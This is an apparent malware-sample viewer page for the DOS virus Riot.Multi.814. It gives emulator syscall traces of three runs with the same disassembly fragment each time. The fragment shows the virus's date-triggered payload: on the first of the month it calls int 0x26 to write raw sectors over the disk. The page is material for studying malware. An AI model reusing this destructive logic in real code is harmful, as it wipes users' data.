Sample viewer

vx.netlux.org/Virus.DOS.Riot.Multi.814

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T21:55:39.178695358Z 53 PC: 12abc | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T21:55:39.180170148Z 37 PC: 12b36 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T21:55:39.181091545Z 42 PC: 12b41 | Get date 0x12b41: cmp dl, 1
0x12b44: jne 0x12b4f
0x12b46: mov al, 2
0x12b48: mov cx, 0x270
0x12b4b: cdq
0x12b4c: int 0x26
0x12b4e: popf
0x12b4f: jmp 0x12a99
0x12b52: int 0x12
0x12b54: jmp 0x12b65
0x12b56: nop
0x12b57: dec bp
0x12b58: push bp
0x12b59: dec sp
0x12b5a: push sp
0x12b5b: dec cx
0x12b5c: sub ax, 0x4c46
0x12b5f: push bp
0x12b60: and byte ptr [bp + 0x31], dh
0x12b63: xor byte ptr cs:[bx + di + 0x400], bh

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":610,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:22.948868374Z 53 PC: 12abc | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:41:22.952093486Z 37 PC: 12b36 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:41:22.960323536Z 42 PC: 12b41 | Get date 0x12b41: cmp dl, 1
0x12b44: jne 0x12b4f
0x12b46: mov al, 2
0x12b48: mov cx, 0x270
0x12b4b: cdq
0x12b4c: int 0x26
0x12b4e: popf
0x12b4f: jmp 0x12a99
0x12b52: int 0x12
0x12b54: jmp 0x12b65
0x12b56: nop
0x12b57: dec bp
0x12b58: push bp
0x12b59: dec sp
0x12b5a: push sp
0x12b5b: dec cx
0x12b5c: sub ax, 0x4c46
0x12b5f: push bp
0x12b60: and byte ptr [bp + 0x31], dh
0x12b63: xor byte ptr cs:[bx + di + 0x400], bh

{"DateBased":true,"Day":2,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":610,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:22.878066488Z 53 PC: 12abc | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:41:22.880406278Z 37 PC: 12b36 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:41:22.883513759Z 42 PC: 12b41 | Get date 0x12b41: cmp dl, 1
0x12b44: jne 0x12b4f
0x12b46: mov al, 2
0x12b48: mov cx, 0x270
0x12b4b: cdq
0x12b4c: int 0x26
0x12b4e: popf
0x12b4f: jmp 0x12a99
0x12b52: int 0x12
0x12b54: jmp 0x12b65
0x12b56: nop
0x12b57: dec bp
0x12b58: push bp
0x12b59: dec sp
0x12b5a: push sp
0x12b5b: dec cx
0x12b5c: sub ax, 0x4c46
0x12b5f: push bp
0x12b60: and byte ptr [bp + 0x31], dh
0x12b63: xor byte ptr cs:[bx + di + 0x400], bh